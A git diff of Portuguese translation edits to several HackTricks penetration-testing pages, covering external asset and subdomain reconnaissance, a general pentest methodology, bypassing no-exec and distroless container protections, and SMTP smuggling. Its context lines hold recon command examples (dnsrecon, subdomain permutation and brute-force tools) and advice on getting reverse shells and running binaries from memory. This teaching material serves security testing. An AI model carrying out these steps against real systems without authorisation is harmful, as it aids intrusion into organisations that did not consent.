 Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
 
@@ -23,7 +23,7 @@ Se você está interessado em **carreira de hacking** e hackear o inhackeável -
 
 ## Descobertas de ativos
 
-> Então, foi dito a você que tudo que pertence a alguma empresa está dentro do escopo, e você quer descobrir o que essa empresa realmente possui.
+> Então, foi dito que tudo que pertence a alguma empresa está dentro do escopo, e você quer descobrir o que essa empresa realmente possui.
 
 O objetivo desta fase é obter todas as **empresas pertencentes à empresa principal** e, em seguida, todos os **ativos** dessas empresas. Para isso, vamos:
 
@@ -35,7 +35,7 @@ O objetivo desta fase é obter todas as **empresas pertencentes à empresa princ
 ### **Aquisições**
 
 Primeiro de tudo, precisamos saber quais **outras empresas são propriedade da empresa principal**.\
-Uma opção é visitar [https://www.crunchbase.com/](https://www.crunchbase.com), **pesquisar** pela **empresa principal** e **clicar** em "**aquisições**". Lá você verá outras empresas adquiridas pela principal.\
+Uma opção é visitar [https://www.crunchbase.com/](https://www.crunchbase.com), **procurar** pela **empresa principal** e **clicar** em "**aquisições**". Lá você verá outras empresas adquiridas pela principal.\
 Outra opção é visitar a página da **Wikipedia** da empresa principal e procurar por **aquisições**.
 
 > Ok, neste ponto você deve saber todas as empresas dentro do escopo. Vamos descobrir como encontrar seus ativos.
@@ -45,8 +45,8 @@ Outra opção é visitar a página da **Wikipedia** da empresa principal e procu
 Um número de sistema autônomo (**ASN**) é um **número único** atribuído a um **sistema autônomo** (AS) pela **Internet Assigned Numbers Authority (IANA)**.\
 Um **AS** consiste em **blocos** de **endereços IP** que têm uma política claramente definida para acessar redes externas e são administrados por uma única organização, mas podem ser compostos por vários operadores.
 
-É interessante descobrir se a **empresa atribuiu algum ASN** para encontrar seus **intervalos de IP.** Será interessante realizar um **teste de vulnerabilidade** contra todos os **hosts** dentro do **escopo** e **procurar por domínios** dentro desses IPs.\
-Você pode **pesquisar** pelo **nome** da empresa, por **IP** ou por **domínio** em [**https://bgp.he.net/**](https://bgp.he.net)**.**\
+É interessante descobrir se a **empresa tem algum ASN atribuído** para encontrar seus **intervalos de IP.** Será interessante realizar um **teste de vulnerabilidade** contra todos os **hosts** dentro do **escopo** e **procurar por domínios** dentro desses IPs.\
+Você pode **procurar** pelo **nome** da empresa, por **IP** ou por **domínio** em [**https://bgp.he.net/**](https://bgp.he.net)**.**\
 **Dependendo da região da empresa, esses links podem ser úteis para coletar mais dados:** [**AFRINIC**](https://www.afrinic.net) **(África),** [**Arin**](https://www.arin.net/about/welcome/region/)**(América do Norte),** [**APNIC**](https://www.apnic.net) **(Ásia),** [**LACNIC**](https://www.lacnic.net) **(América Latina),** [**RIPE NCC**](https://www.ripe.net) **(Europa). De qualquer forma, provavelmente todas as** informações úteis **(intervalos de IP e Whois)** já aparecem no primeiro link.
 ```bash
 #You can try "automate" this with amass, but it's not very recommended
@@ -85,11 +85,11 @@ Além disso, você pode lançar alguns [**scans de porta**](../pentesting-networ
 
 _Por favor, note que nas técnicas propostas a seguir você também pode encontrar subdomínios e que essa informação não deve ser subestimada._
 
-Primeiramente, você deve procurar o(s) **domínio(s) principal(is)** de cada empresa. Por exemplo, para _Tesla Inc._ será _tesla.com_.
+Primeiro de tudo, você deve procurar o(s) **domínio(s) principal(is)** de cada empresa. Por exemplo, para _Tesla Inc._ será _tesla.com_.
 
 ### **DNS Reverso**
 
-Como você encontrou todos os intervalos de IP dos domínios, pode tentar realizar **consultas de DNS reverso** nesses **IPs para encontrar mais domínios dentro do escopo**. Tente usar algum servidor DNS da vítima ou algum servidor DNS bem conhecido (1.1.1.1, 8.8.8.8)
+Como você encontrou todos os intervalos de IP dos domínios, pode tentar realizar **consultas de dns reverso** nesses **IPs para encontrar mais domínios dentro do escopo**. Tente usar algum servidor DNS da vítima ou algum servidor DNS bem conhecido (1.1.1.1, 8.8.8.8)
 ```bash
 dnsrecon -r <DNS Range> -n <IP_DNS>   #DNS reverse of all of the addresses
 dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@@ -107,9 +107,9 @@ Você pode usar ferramentas online como:
 * [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratuito**
 * [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Gratuito**
 * [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratuito**
-* [https://www.whoxy.com/](https://www.whoxy.com) - **Gratuito** na web, API não gratuita.
+* [https://www.whoxy.com/](https://www.whoxy.com) - **Gratuito** web, API não gratuita.
 * [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Não gratuito
-* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Não Gratuito (apenas **100 pesquisas gratuitas**)
+* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Não Gratuito (apenas **100 buscas gratuitas**)
 * [https://www.domainiq.com/](https://www.domainiq.com) - Não Gratuito
 
 Você pode automatizar essa tarefa usando [**DomLink** ](https://github.com/vysecurity/DomLink) (requer uma chave de API whoxy).\
@@ -169,7 +169,7 @@ Procure dentro das páginas da web **strings que podem ser compartilhadas entre
 # /etc/crontab
 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
 ```
-para renovar todos os certificados de domínio no servidor. Isso significa que mesmo que a CA usada para isso não defina o tempo em que foi gerado no tempo de validade, é possível **encontrar domínios pertencentes à mesma empresa nos logs de transparência de certificados**.\
+para renovar todos os certificados de domínio no servidor. Isso significa que, mesmo que a CA usada para isso não defina o tempo em que foi gerado no tempo de validade, é possível **encontrar domínios pertencentes à mesma empresa nos logs de transparência de certificados**.\
 Confira este [**artigo para mais informações**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
 
 ### Informações de Mail DMARC
@@ -178,7 +178,7 @@ Você pode usar um site como [https://dmarc.live/info/google.com](https://dmarc.
 
 ### **Tomada Passiva**
 
-Aparentemente, é comum que as pessoas atribuam subdomínios a IPs que pertencem a provedores de nuvem e, em algum momento, **percam esse endereço IP, mas esqueçam de remover o registro DNS**. Portanto, apenas **criar uma VM** em uma nuvem (como Digital Ocean) você estará, na verdade, **assumindo alguns subdomínios**.
+Aparentemente, é comum que as pessoas atribuam subdomínios a IPs que pertencem a provedores de nuvem e, em algum momento, **percam esse endereço IP, mas se esqueçam de remover o registro DNS**. Portanto, apenas **criar uma VM** em uma nuvem (como Digital Ocean) você estará, na verdade, **assumindo alguns subdomínios**.
 
 [**Este post**](https://kmsec.uk/blog/passive-takeover/) explica uma história sobre isso e propõe um script que **cria uma VM no DigitalOcean**, **obtém** o **IPv4** da nova máquina e **busca no Virustotal por registros de subdomínio** apontando para ela.
 
@@ -188,17 +188,17 @@ Aparentemente, é comum que as pessoas atribuam subdomínios a IPs que pertencem
 
 **Shodan**
 
-Como você já sabe o nome da organização que possui o espaço de IP. Você pode pesquisar por esses dados no shodan usando: `org:"Tesla, Inc."` Verifique os hosts encontrados para novos domínios inesperados no certificado TLS.
+Como você já sabe o nome da organização que possui o espaço de IP. Você pode pesquisar por esses dados no shodan usando: `org:"Tesla, Inc."` Verifique os hosts encontrados em busca de novos domínios inesperados no certificado TLS.
 
 Você poderia acessar o **certificado TLS** da página principal, obter o **nome da Organização** e então procurar esse nome dentro dos **certificados TLS** de todas as páginas conhecidas pelo **shodan** com o filtro: `ssl:"Tesla Motors"` ou usar uma ferramenta como [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
 
 **Assetfinder**
 
-[**Assetfinder**](https://github.com/tomnomnom/assetfinder) é uma ferramenta que procura por **domínios relacionados** com um domínio principal e **subdomínios** deles, bastante incrível.
+[**Assetfinder**](https://github.com/tomnomnom/assetfinder) é uma ferramenta que procura **domínios relacionados** com um domínio principal e **subdomínios** deles, bastante incrível.
 
 ### **Procurando vulnerabilidades**
 
-Verifique por alguma [tomada de domínio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Talvez alguma empresa esteja **usando algum domínio** mas **perdeu a propriedade**. Basta registrá-lo (se for barato o suficiente) e avisar a empresa.
+Verifique por alguma [tomada de domínio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Talvez alguma empresa esteja **usando algum domínio** mas **perdeu a propriedade**. Basta registrá-lo (se for barato o suficiente) e informar a empresa.
 
 Se você encontrar algum **domínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura básica de vulnerabilidades** (usando Nessus ou OpenVAS) e alguma [**varredura de portas**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo de quais serviços estão em execução, você pode encontrar neste livro algumas dicas para "atacá-los".\
 _Observe que às vezes o domínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._
@@ -390,8 +390,8 @@ Após ter encontrado subdomínios usando fontes abertas e força bruta, você po
 ```bash
 cat subdomains.txt | dnsgen -
 ```
-* [**goaltdns**](https://github.com/subfinder/goaltdns): Dado os domínios e subdomínios, gera permutações.
-* Você pode obter a **wordlist** de permutações do goaltdns [**aqui**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
+* [**goaltdns**](https://github.com/subfinder/goaltdns): Dado os domínios e subdomínios, gere permutações.
+* Você pode obter a **wordlist** de permutações do goaltdns **aqui** [**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
 ```bash
 goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
 ```
@@ -400,7 +400,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
 gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
 ```
 * [**altdns**](https://github.com/infosec-au/altdns): Além de gerar permutações de subdomínios, ele também pode tentar resolvê-los (mas é melhor usar as ferramentas comentadas anteriormente).
-* Você pode obter a **wordlist** de permutações do altdns [**aqui**](https://github.com/infosec-au/altdns/blob/master/words.txt).
+* Você pode obter as permutações do altdns **wordlist** [**aqui**](https://github.com/infosec-au/altdns/blob/master/words.txt).
 ```
 altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
 ```
@@ -420,7 +420,7 @@ python3 main.py adobe.com adobe adobe.rules
 make_brute_list.sh adobe.rules adobe.brute
 puredns resolve adobe.brute --write adobe.valid
 ```
-* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ é um fuzzer de força bruta para subdomínios combinado com um algoritmo guiado por resposta DNS imensamente simples, mas eficaz. Ele utiliza um conjunto de dados de entrada fornecido, como uma lista de palavras personalizada ou registros DNS/TLS históricos, para sintetizar com precisão mais nomes de domínio correspondentes e expandi-los ainda mais em um loop com base nas informações coletadas durante a varredura DNS.
+* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ é um fuzzer de força bruta para subdomínios acoplado a um algoritmo guiado por resposta DNS imensamente simples, mas eficaz. Ele utiliza um conjunto de dados de entrada fornecido, como uma lista de palavras personalizada ou registros DNS/TLS históricos, para sintetizar com precisão mais nomes de domínio correspondentes e expandi-los ainda mais em um loop com base nas informações coletadas durante a varredura DNS.
 ```
 echo www | subzuf facebook.com
 ```
@@ -460,7 +460,7 @@ VHostScan -t example.com
 Com esta técnica, você pode até conseguir acessar endpoints internos/ocultos.
 {% endhint %}
 
-### **CORS Brute Force**
+### **Força Bruta de CORS**
 
 Às vezes, você encontrará páginas que retornam apenas o cabeçalho _**Access-Control-Allow-Origin**_ quando um domínio/subdomínio válido é definido no cabeçalho _**Origin**_. Nesses cenários, você pode abusar desse comportamento para **descobrir** novos **subdomínios**.
 ```bash
@@ -480,7 +480,7 @@ Você pode **monitorar** se **novos subdomínios** de um domínio são criados m
 Verifique possíveis [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
 Se o **subdomínio** estiver apontando para algum **S3 bucket**, [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/).
 
-Se você encontrar algum **subdomínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura básica de vulnerabilidades** (usando Nessus ou OpenVAS) e alguma [**varredura de portas**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo dos serviços que estão em execução, você pode encontrar **neste livro algumas dicas para "atacá-los"**.\
+Se você encontrar algum **subdomínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura básica de vulnerabilidades** (usando Nessus ou OpenVAS) e alguma [**varredura de portas**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo dos serviços que estão em execução, você pode encontrar neste **livro algumas dicas para "atacá-los"**.\
 _Observe que às vezes o subdomínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._
 
 ## IPs
@@ -504,9 +504,9 @@ Você também pode verificar domínios apontando para um endereço IP específic
 
 > Encontramos todas as empresas e seus ativos e sabemos os intervalos de IP, domínios e subdomínios dentro do escopo. É hora de procurar por servidores web.
 
-Nos passos anteriores, você provavelmente já realizou alguma **reconhecimento dos IPs e domínios descobertos**, então você pode ter **já encontrado todos os possíveis servidores web**. No entanto, se você não encontrou, agora vamos ver algumas **dicas rápidas para procurar servidores web** dentro do escopo.
+Nos passos anteriores, você provavelmente já realizou alguma **reconhecimento dos IPs e domínios descobertos**, então você pode já ter **encontrado todos os possíveis servidores web**. No entanto, se você não encontrou, agora vamos ver algumas **dicas rápidas para procurar servidores web** dentro do escopo.
 
-Por favor, note que isso será **orientado para descoberta de aplicativos web**, então você deve **realizar a vulnerabilidade** e **varredura de portas** também (**se permitido** pelo escopo).
+Por favor, note que isso será **orientado para descoberta de aplicativos web**, então você deve **realizar a varredura de vulnerabilidades** e **varredura de portas** também (**se permitido** pelo escopo).
 
 Um **método rápido** para descobrir **portas abertas** relacionadas a **servidores** web usando [**masscan** pode ser encontrado aqui](../pentesting-network/#http-port-discovery).\
 Outra ferramenta amigável para procurar servidores web é [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) e [**httpx**](https://github.com/projectdiscovery/httpx). Você apenas passa uma lista de domínios e ela tentará se conectar à porta 80 (http) e 443 (https). Além disso, você pode indicar para tentar outras portas:
@@ -524,7 +524,7 @@ Além disso, você pode usar [**eyeballer**](https://github.com/BishopFox/eyebal
 
 ## Ativos de Nuvem Pública
 
-Para encontrar potenciais ativos de nuvem pertencentes a uma empresa, você deve **começar com uma lista de palavras-chave que identificam essa empresa**. Por exemplo, para uma empresa de criptomoedas, você pode usar palavras como: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
+Para encontrar potenciais ativos de nuvem pertencentes a uma empresa, você deve **começar com uma lista de palavras-chave que identificam essa empresa**. Por exemplo, para uma empresa de criptomoeda, você pode usar palavras como: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
 
 Você também precisará de listas de palavras de **palavras comuns usadas em buckets**:
 
@@ -532,11 +532,11 @@ Você também precisará de listas de palavras de **palavras comuns usadas em bu
 * [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
 * [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
 
-Então, com essas palavras, você deve gerar **permutations** (ver a [**Segunda Rodada de Força Bruta DNS**](./#second-dns-bruteforce-round) para mais informações).
+Então, com essas palavras, você deve gerar **permutations** (verifique o [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) para mais informações).
 
 Com as listas de palavras resultantes, você pode usar ferramentas como [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ou** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
 
-Lembre-se de que, ao procurar Ativos de Nuvem, você deve **procurar mais do que apenas buckets na AWS**.
+Lembre-se de que, ao procurar Ativos de Nuvem, você deve **procurar mais do que apenas buckets no AWS**.
 
 ### **Procurando vulnerabilidades**
 
@@ -649,15 +649,15 @@ Existem várias ferramentas por aí que realizarão parte das ações propostas
 
 * Todos os cursos gratuitos de [**@Jhaddix**](https://twitter.com/Jhaddix) como [**A Metodologia do Caçador de Bugs v4.0 - Edição Recon**](https://www.youtube.com/watch?v=p4JgIu1mceI)
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se você está interessado em uma **carreira em hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
 {% hint style="success" %}
-Aprenda e pratique Hacking em AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprenda e pratique Hacking em GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprenda e pratique Hacking em AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprenda e pratique Hacking em GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

generic-methodologies-and-resources/pentesting-methodology.md

@@ -10,12 +10,12 @@ Aprenda e pratique Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" da
 
 * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
 * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
+* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 {% endhint %}
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
 
@@ -25,7 +25,7 @@ Se você está interessado em **carreira de hacking** e hackear o inhackeável -
 
 <figure><img src="../.gitbook/assets/HACKTRICKS-logo.svg" alt=""><figcaption></figcaption></figure>
 
-_Logos do Hacktricks desenhadas por_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
+_Logos do Hacktricks projetadas por_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
 
 ### 0- Ataques Físicos
 
@@ -36,7 +36,7 @@ Você tem **acesso físico** à máquina que deseja atacar? Você deve ler algun
 **Dependendo** se o **teste** que você está realizando é um **teste interno ou externo**, você pode estar interessado em encontrar **hosts dentro da rede da empresa** (teste interno) ou **encontrar ativos da empresa na internet** (teste externo).
 
 {% hint style="info" %}
-Note que se você estiver realizando um teste externo, uma vez que conseguir obter acesso à rede interna da empresa, você deve reiniciar este guia.
+Observe que se você estiver realizando um teste externo, uma vez que conseguir obter acesso à rede interna da empresa, deve reiniciar este guia.
 {% endhint %}
 
 ### **2-** [**Divertindo-se com a rede**](pentesting-network/) **(Interno)**
@@ -50,7 +50,7 @@ A primeira coisa a fazer ao **procurar vulnerabilidades em um host** é saber qu
 
 ### **4-** [**Buscando exploits de versão de serviço**](search-exploits.md)
 
-Uma vez que você saiba quais serviços estão em execução, e talvez suas versões, você deve **procurar por vulnerabilidades conhecidas**. Talvez você tenha sorte e haja um exploit para lhe dar um shell...
+Uma vez que você saiba quais serviços estão em execução, e talvez suas versões, você deve **procurar por vulnerabilidades conhecidas**. Talvez você tenha sorte e haja um exploit que lhe dê um shell...
 
 ### **5-** Serviços de Pentesting
 
@@ -58,7 +58,7 @@ Se não houver nenhum exploit interessante para qualquer serviço em execução,
 
 **Dentro deste livro você encontrará um guia para pentestar os serviços mais comuns** (e outros que não são tão comuns)**. Por favor, procure no índice à esquerda a seção _**PENTESTING**_ **(os serviços estão ordenados por suas portas padrão).**
 
-**Quero fazer uma menção especial à parte** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **(já que é a mais extensa).**\
+**Quero fazer uma menção especial à parte** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **(pois é a mais extensa).**\
 Além disso, um pequeno guia sobre como [**encontrar vulnerabilidades conhecidas em software**](search-exploits.md) pode ser encontrado aqui.
 
 **Se o seu serviço não estiver no índice, procure no Google** por outros tutoriais e **me avise se você quiser que eu adicione.** Se você **não conseguir encontrar nada** no Google, realize seu **próprio pentesting cego**, você pode começar por **conectar-se ao serviço, fuzzing e lendo as respostas** (se houver).
@@ -97,7 +97,7 @@ Você provavelmente precisará **extrair alguns dados da vítima** ou até mesmo
 
 #### **10.1- Privesc Local**
 
-Se você **não for root/Administrador** dentro da máquina, você deve encontrar uma maneira de **escalar privilégios.**\
+Se você **não for root/Administrador** dentro da máquina, deve encontrar uma maneira de **escalar privilégios.**\
 Aqui você pode encontrar um **guia para escalar privilégios localmente em** [**Linux**](../linux-hardening/privilege-escalation/) **e em** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
 Você também deve verificar estas páginas sobre como **Windows funciona**:
 
@@ -151,7 +151,7 @@ Verifique também a página sobre [**NTLM**](../windows-hardening/ntlm/), pode s
 * [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
 * [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
 
@@ -167,7 +167,7 @@ Aprenda e pratique Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" da
 
 * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
 * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
+* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 {% endhint %}

linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md

@@ -1,8 +1,8 @@
 # Bypass FS protections: read-only / no-exec / Distroless
 
 {% hint style="success" %}
-Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -15,7 +15,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
 </details>
 {% endhint %}
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
 
@@ -59,7 +59,7 @@ No entanto, isso não é suficiente para executar seu backdoor binário ou outra
 
 ## Bypasses de Memória
 
-Se você quiser executar um binário, mas o sistema de arquivos não está permitindo isso, a melhor maneira de fazê-lo é **executá-lo da memória**, já que as **proteções não se aplicam lá**.
+Se você quiser executar um binário, mas o sistema de arquivos não permitir isso, a melhor maneira de fazê-lo é **executá-lo da memória**, já que **as proteções não se aplicam lá**.
 
 ### Bypass de FD + syscall exec
 
@@ -106,9 +106,9 @@ Com um propósito semelhante ao DDexec, a técnica [**memdlopen**](https://githu
 
 ### O que é distroless
 
-Contêineres distroless contêm apenas os **componentes mínimos necessários para executar um aplicativo ou serviço específico**, como bibliotecas e dependências de tempo de execução, mas excluem componentes maiores, como um gerenciador de pacotes, shell ou utilitários de sistema.
+Contêineres distroless contêm apenas os **componentes mínimos necessários para executar um aplicativo ou serviço específico**, como bibliotecas e dependências de tempo de execução, mas excluem componentes maiores como um gerenciador de pacotes, shell ou utilitários do sistema.
 
-O objetivo dos contêineres distroless é **reduzir a superfície de ataque dos contêineres, eliminando componentes desnecessários** e minimizando o número de vulnerabilidades que podem ser exploradas.
+O objetivo dos contêineres distroless é **reduzir a superfície de ataque dos contêineres eliminando componentes desnecessários** e minimizando o número de vulnerabilidades que podem ser exploradas.
 
 ### Shell Reverso
 
@@ -118,7 +118,7 @@ Em um contêiner distroless, você pode **não encontrar nem `sh` nem `bash`** p
 Portanto, você **não** poderá obter um **shell reverso** ou **enumerar** o sistema como costuma fazer.
 {% endhint %}
 
-No entanto, se o contêiner comprometido estiver executando, por exemplo, um flask web, então o python está instalado, e portanto você pode obter um **shell reverso Python**. Se estiver executando node, você pode obter um shell rev Node, e o mesmo com praticamente qualquer **linguagem de script**.
+No entanto, se o contêiner comprometido estiver executando, por exemplo, um flask web, então o python está instalado, e portanto você pode obter um **shell reverso Python**. Se estiver executando node, você pode obter um shell reverso Node, e o mesmo com praticamente qualquer **linguagem de script**.
 
 {% hint style="success" %}
 Usando a linguagem de script, você poderia **enumerar o sistema** usando as capacidades da linguagem.
@@ -132,15 +132,15 @@ No entanto, neste tipo de contêiner, essas proteções geralmente existirão, m
 
 Você pode encontrar **exemplos** de como **explorar algumas vulnerabilidades RCE** para obter shells reversos de linguagens de script e executar binários da memória em [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se você está interessado em uma **carreira em hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
 {% hint style="success" %}
-Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

network-services-pentesting/pentesting-smtp/smtp-smuggling.md

@@ -15,17 +15,17 @@ Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
 </details>
 {% endhint %}
 
-## Informações Básicas
+## Basic Information
 
